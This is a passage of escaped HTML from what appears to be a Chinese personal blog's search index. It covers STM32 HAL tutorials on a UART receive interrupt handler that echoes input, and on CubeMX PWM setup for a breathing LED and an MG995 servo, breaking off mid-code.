*/\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"编写接收中断服务程序\"\u003e\u003ca href=\"#编写接收中断服务程序\" class=\"headerlink\" title=\"编写接收中断服务程序\"\u003e\u003c/a\u003e编写接收中断服务程序\u003c/h4\u003e\u003cp\u003e \u003cstrong\u003e\u003ccode\u003eUSART1_IRQHandler\u003c/code\u003e\u003c/strong\u003e (在 \u003ccode\u003estm32f4xx_it.c\u003c/code\u003e 中)\u003c/p\u003e\u003cp\u003e定义三个静态变量\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e// 存储数组\u003c/span\u003e\u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1024\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 指向存储数组将要存储数据的位\u003c/span\u003e\u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003e pRx_Data \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 接收数据长度\u003c/span\u003e\u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uLength \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e调用HAL库的UART接收函数以及发送函数\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e2、3步都可以根据自身要求进行改进\u003c/p\u003e\u003cul\u003e\u003cli\u003e第2步:判断接收结束条件,这个可以根据自己想要接收何种类型的数据而定。本次使用 \u003ccode\u003e回车\u003c/code\u003e 作为判断条件\u003c/li\u003e\u003cli\u003e第3步:数据处理,可以在这一步执行自己想要对数据做的一些操作。本次为将接收到的数据重新发送出去。\u003c/li\u003e\u003c/ul\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e// 1. 接收数据\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_UART_Receive\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e pRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 2. 判断数据结尾\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003epRx_Data \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token char\"\u003e'\\n'\u003c/span\u003e \u003cspan class=\"token operator\"\u003e||\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003epRx_Data \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token char\"\u003e'\\r'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 3. 将接收成功的数据通过串口发出去\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uLength\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xffff\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 4. 初始化指针和数据长度\u003c/span\u003e pRx_Data \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//重新指向数组起始位置 uLength = 0; //长度清零\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 5. 若未结束,指针往下一位移动,长度自增1\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e++\u003c/span\u003epRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token operator\"\u003e++\u003c/span\u003euLength\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e完整中断服务程序\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eUSART1_IRQHandler\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE BEGIN USART1_IRQn 0 */\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 存储数组\u003c/span\u003e \u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1024\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 指向存储数组将要存储数据的位\u003c/span\u003e \u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003e pRx_Data \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 接收数据长度\u003c/span\u003e \u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uLength \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 接收数据\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Receive\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e pRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 判断数据结尾\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003epRx_Data \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token char\"\u003e'\\n'\u003c/span\u003e \u003cspan class=\"token operator\"\u003e||\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003epRx_Data \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token char\"\u003e'\\r'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 将接收成功的数据通过串口发出去\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uLength\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xffff\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 初始化指针和数据长度\u003c/span\u003e pRx_Data \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//重新指向数组起始位置\u003c/span\u003e uLength \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//长度清零\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 若未结束,指针往下一位移动,长度自增1\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e++\u003c/span\u003epRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token operator\"\u003e++\u003c/span\u003euLength\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE END USART1_IRQn 0 */\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_IRQHandler\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE BEGIN USART1_IRQn 1 */\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE END USART1_IRQn 1 */\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"查看效果\"\u003e\u003ca href=\"#查看效果\" class=\"headerlink\" title=\"查看效果\"\u003e\u003c/a\u003e查看效果\u003c/h4\u003e\u003cp\u003e编译下载,使用串口查看\u003c/p\u003e\u003cp\u003e默认是不断发送之前的 \u003ccode\u003eHello World !\u003c/code\u003e ,在受到我们发送的数据后,将其再发送,结束后之前运行不受影响。(中断的好处)\u003c/p\u003e\u003cimg src=\"/img/posts/uart/6.gif\" alt=\"6\" style=\"zoom:67%;\" /\u003e\u003chr\u003e\u003cp\u003e发送与接收都完成咯,撒花 ~\u003c/p\u003e\u003cp\u003e)这算是搞明白了当时是如何操纵 \u003ccode\u003eStm32\u003c/code\u003e 使用 \u003ccode\u003eAT\u003c/code\u003e 指令与广和通 \u003ccode\u003eL610\u003c/code\u003e 通信了 ~\u003c/p\u003e\u003cp\u003e\u003cdel\u003e(当时没搞明白,对着例程xjb抄,发送功能糊出来了结果最后没有接收功能……令人感慨。\u003c/del\u003e\u003c/p\u003e","url":"https://blog.ksfu.top/posts/b619/"},{"title":"CubeMX初配置PWM\u0026驱动MG995舵机","time":"2022-05-02T12:32:45Z","content":"\u003ch1 id=\"CubeMX初配置PWM-amp-驱动MG995舵机\"\u003e\u003ca href=\"#CubeMX初配置PWM-amp-驱动MG995舵机\" class=\"headerlink\" title=\"CubeMX初配置PWM\u0026amp;驱动MG995舵机\"\u003e\u003c/a\u003eCubeMX初配\u003chr /\u003e\u003ch1 id=\"CubeMX初配置PWM-amp-驱动MG995舵机\"\u003e\u003ca href=\"#CubeMX初配置PWM-amp-驱动MG995舵机\" class=\"headerlink\" title=\"CubeMX初配置PWM\u0026amp;驱动MG995舵机\"\u003e\u003c/a\u003eCubeMX初配置PWM\u0026amp;驱动MG995舵机\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e最近在重学STM32,发现大二上整的像s一样\u003c/del\u003e\u003c/p\u003e\u003ch3 id=\"参考博客\"\u003e\u003ca href=\"#参考博客\" class=\"headerlink\" title=\"参考博客\"\u003e\u003c/a\u003e参考博客\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e[\u003ca href=\"https://www.emoe.xyz/bonjour-stm32-timer-cookbook/\"\u003eBonjour STM32] No.6-定时器简单理解与使用 - Emoe-Studio\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_42967008/article/details/89267010\"\u003e STM32CubeMX学习笔记1——PWM配置_夏沫不学习的博客-CSDN博客_cubemx配置pwm\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/6151e6d4b207\"\u003eHAL库函数之呼吸灯——PWM波 - 简书 (jianshu.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/he__yuan/article/details/79195435\"\u003e(37条消息) MG995舵机工作原理及基于STM32的驱动源代码_斜杠青年\u0026#x2F;的博客-CSDN博客_mg995舵机\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"PWM\"\u003e\u003ca href=\"#PWM\" class=\"headerlink\" title=\"PWM\"\u003e\u003c/a\u003ePWM\u003c/h3\u003e\u003cp\u003e个人理解:PWM就是方波,具体使用的时候改变这玩意的占空比就行。 \u003cspan class=\"diana_biu\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://s2.ax1x.com/2019/09/12/nBut8s.gif\"\u003e\u003c/p\u003e\u003ch3 id=\"配置PWM\"\u003e\u003ca href=\"#配置PWM\" class=\"headerlink\" title=\"配置PWM\"\u003e\u003c/a\u003e配置PWM\u003c/h3\u003e\u003cp\u003e要知道 \u003ccode\u003eCNT\u003c/code\u003e (计数器当前值), \u003ccode\u003eARR\u003c/code\u003e (自动重装载值), \u003ccode\u003eCCRx\u003c/code\u003e (捕获\u0026#x2F;比较寄存器值)\u003c/p\u003e\u003cp\u003e当 \u003ccode\u003eCNT\u003c/code\u003e 小于 \u003ccode\u003eCCRx\u003c/code\u003e 时,通道输出高电平;\u003c/p\u003e\u003cp\u003e当 \u003ccode\u003eCNT\u003c/code\u003e 等于或大于 \u003ccode\u003eCCRx\u003c/code\u003e 时,通道输出低电平;\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://s1.ax1x.com/2020/06/13/tjSq39.jpg\"\u003e\u003c/p\u003e\u003cp\u003e因为目前使用 \u003ccode\u003eSTM32F103C8T6\u003c/code\u003e ,首先设置使用外部时钟,再设置时钟为72Mhz\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/posts/mg995/0.webp\" alt=\"3\"\u003e\u003c/p\u003e\u003cp\u003e直接输入 72 就行,CubeMX 会自动配置\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/posts/mg995/4.webp\" alt=\"4\"\u003e\u003c/p\u003e\u003cp\u003e然后贴一段参考博客里的: \u003cspan class=\"diana_bixin\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e确定时钟源频率后,我们就可以设置\u003cstrong\u003ePSC\u003c/strong\u003e和\u003cstrong\u003eARR\u003c/strong\u003e了。按照之前的要求,我们想让定时器的溢出频率为5Hz,则240MHz\u0026#x2F;5Hz\u0026#x3D;48M分频。我们知道,一个模值(“容量”)为48M的定时器即可完成此分频,可是我们的\u003cstrong\u003eCNT\u003c/strong\u003e寄存器只有16位,也就是说模值最大设置为65535,远远不够呀。这就是预分频器\u003cstrong\u003ePSC\u003c/strong\u003e存在的意义了,“时钟源太快了,\u003cstrong\u003eCNT\u003c/strong\u003e没有足够的容量来实现较长周期的定时,所以需要预分频器把时钟降慢一些”。所以说,我们把48M拆成2400*20000就可以了。注意实际填入\u003cstrong\u003ePSC\u003c/strong\u003e和\u003cstrong\u003eARR\u003c/strong\u003e都有一个“-1”,这是因为定时器是从0开始计数的,由0计到239正好是240次。总结一个定时器频率公式,就是这样:\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e$$f_{TIM}\u0026#x3D;\\frac{f_{CLK}}{(PSC+1)\\times(ARR+1)}$$\u003c/p\u003e\u003cp\u003e改变占空比只需要改变对应计时器的 CCRx 就行\u003c/p\u003e\u003cp\u003e$$Duty_x\u0026#x3D;\\frac{CCRx}{ARR}$$\u003c/p\u003e\u003cp\u003e因为 MG995 电机需要一个20ms的时基脉冲,所以需要频率50Hz,为我们设置 \u003ccode\u003ePSC=7200-1\u003c/code\u003e \u003ccode\u003eARR=200-1\u003c/code\u003e\u003c/p\u003e\u003cp\u003e\u003ccode\u003e72000000/7200/200=50\u003c/code\u003e\u003c/p\u003e\u003cp\u003e所以计数器每次 \u003ccode\u003e+1\u003c/code\u003e 的时间为 \u003ccode\u003e20ms/ARR=20ms/200=0.1ms\u003c/code\u003e\u003c/p\u003e\u003cp\u003e在CubeMX配置如下\u003c/p\u003e\u003cp\u003e设置 TIM3 定时器 ,只用一个通道就行,设置为 PWM模式,默认是 GPIOA16 管脚\u003c/p\u003e\u003cimg src=\"/img/posts/mg995/5.webp\" alt=\"5\" style=\"zoom:80%;\" /\u003e\u003ch3 id=\"先点个灯\"\u003e\u003ca href=\"#先点个灯\" class=\"headerlink\" title=\"先点个灯\"\u003e\u003c/a\u003e先点个灯\u003c/h3\u003e\u003cp\u003e\u003cdel\u003e历时108个秒,我做出了苹果手机没有的功能,呼吸灯\u003c/del\u003e \u003cspan class=\"diana_yiyanzhen\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e呼吸灯的呼吸,就是灯的强弱状态,改变 PWM 的占空比便可调整\u003c/p\u003e\u003cp\u003e具体配置和前面差不多,这里设置为 \u003ccode\u003eARR=500\u003c/code\u003e\u003c/p\u003e\u003cp\u003e 改变 CRRx 的两种方式\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//ld1_duty 为我们设置的CCRx具体数值\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//方法一,直接操作\u003c/span\u003eTIM3 \u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003e CCR1 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e ld1_duty\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//方法二,使用库函数\u003c/span\u003e\u003cspan class=\"token function\"\u003e__HAL_TIM_SetCompare\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehtim3\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eTIM_CHANNEL_1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eld1_duty\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"主要代码为\"\u003e\u003ca href=\"#主要代码为\" class=\"headerlink\" title=\"主要代码为\"\u003e\u003c/a\u003e主要代码为\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"token function\"\u003emain\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 省略一堆初始化函数\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 记录变强还是变弱\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e ld1_dir \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 相当于CNT\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e ld1_duty \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 初始化,启动 TIM3 通道1的 PWM 模式 \u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_TIM_PWM_Start\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehtim3\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eTIM_CHANNEL_1\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//PA6\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 变强状态\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eld1_dir \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e ld1_duty \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token number\"\u003e20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 变弱状态\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eld1_dir \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e ld1_duty \u003cspan class=\"token operator\"\u003e-=\u003c/span\u003e \u003cspan class=\"token number\"\u003e20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 由强变弱\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eld1_duty \u003cspan class=\"token operator\"\u003e\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e500\u003c/span\u003e\u003cspan class=\"token 